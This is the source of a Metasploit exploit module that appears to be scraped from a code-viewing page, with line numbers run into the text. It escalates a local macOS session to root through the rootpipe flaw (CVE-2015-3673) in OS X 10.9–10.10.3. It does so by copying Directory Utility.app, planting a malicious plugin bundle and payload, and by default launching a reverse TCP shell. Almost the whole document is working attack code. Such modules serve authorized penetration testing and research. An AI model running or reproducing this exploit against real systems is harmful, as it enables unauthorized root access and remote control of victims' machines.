Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/local/rootpipe_entitlements.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Post::OSX::System11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(update_info(info,16'Name' => 'Apple OS X Entitlements Rootpipe Privilege Escalation',17'Description' => %q{18This module exploits the rootpipe vulnerability and bypasses Apple's initial19fix for the issue by injecting code into a process with the 'admin.writeconfig'20entitlement.21},22'Author' => [23'Emil Kvarnhammar', # Vulnerability discovery and PoC24'joev' # Copy/paste monkey25],26'References' => [27['CVE', '2015-3673'],28['URL', 'https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again/']29],30'DisclosureDate' => '2015-07-01',31'License' => MSF_LICENSE,32'Platform' => 'osx',33'Arch' => ARCH_X64,34'SessionTypes' => ['shell'],35'Privileged' => true,36'Targets' => [37['Mac OS X 10.9-10.10.3', {}]38],39'DefaultTarget' => 0,40'DefaultOptions' => {41'PAYLOAD' => 'osx/x64/shell_reverse_tcp',42'PrependSetreuid' => true43}44))4546register_options [47OptString.new('WRITABLEDIR', [true, 'Writable directory', '/.Trashes'])48]49end5051def base_dir52datastore['WritableDir'].to_s53end5455def check56if ver? && is_admin?57vprint_status("Version is between 10.9 and 10.10.3, and is admin.")58return CheckCode::Appears59else60return CheckCode::Safe61end62end6364def exploit65if is_root?66fail_with Failure::BadConfig, 'Session already has root privileges'67end6869unless is_admin?70fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."71end7273if check != CheckCode::Appears74fail_with Failure::NotVulnerable, 'Target is not vulnerable'75end7677unless writable? base_dir78fail_with Failure::BadConfig, "#{base_dir} is not writable"79end8081print_status("Copying Directory Utility.app to #{new_app}")82cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'")83cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'")8485print_status("Writing bundle plist to `#{plist_file}'")86write_file(plist_file, plist)8788print_status("Writing payload to `#{payload_file}'")89write_file(payload_file, binary_payload)90register_file_for_cleanup(payload_file)9192print_status("Writing malicious shared library to `#{exploit_file}'")93write_file(exploit_file, plugin_exploit)9495print_status("Running Directory Utility.app")96cmd_exec("/bin/sh -c 'PAYLOAD_IN=#{payload_file} PAYLOAD_OUT=#{root_file} #{new_app}/Contents/MacOS/Directory\\ Utility'")9798print_status("Deleting Directory Utility.app")99cmd_exec("rm -Rf '#{new_app}'")100101print_status('Executing payload...')102cmd_exec("/bin/sh -c '#{root_file} &'")103end104105def ver?106Rex::Version.new(get_sysinfo['ProductVersion']).between?(107Rex::Version.new('10.9'), Rex::Version.new('10.10.3')108)109end110111def sploit112"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"113end114115def plugin_exploit116File.read(File.join(117Msf::Config.data_directory, 'exploits', 'CVE-2015-3673', 'exploit.daplug'118))119end120121def binary_payload122Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)123end124125def exploit_file126"#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle"127end128129def plist_file130"#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist"131end132133def new_app134@app ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}.app"135end136137def plist138%Q|139<?xml version="1.0" encoding="UTF-8"?>140<plist version="1.0">141<dict>142<key>CFBundleGetInfoString</key>143<string>RootpipeBundle</string>144<key>CFBundleExecutable</key>145<string>RootpipeBundle</string>146<key>CFBundleIdentifier</key>147<string>com.root.pipe</string>148<key>CFBundleName</key>149<string>RootpipeBundle</string>150<key>CFBundleShortVersionString</key>151<string>0.01</string>152<key>CFBundleInfoDictionaryVersion</key>153<string>6.0</string>154<key>CFBundlePackageType</key>155<string>APPL</string>156<key>IFMajorVersion</key>157<integer>0</integer>158<key>IFMinorVersion</key>159<integer>1</integer>160</dict>161</plist>162|163end164165def payload_file166@payload_file ||=167"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"168end169170def root_file171@root_file ||=172"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"173end174end175176177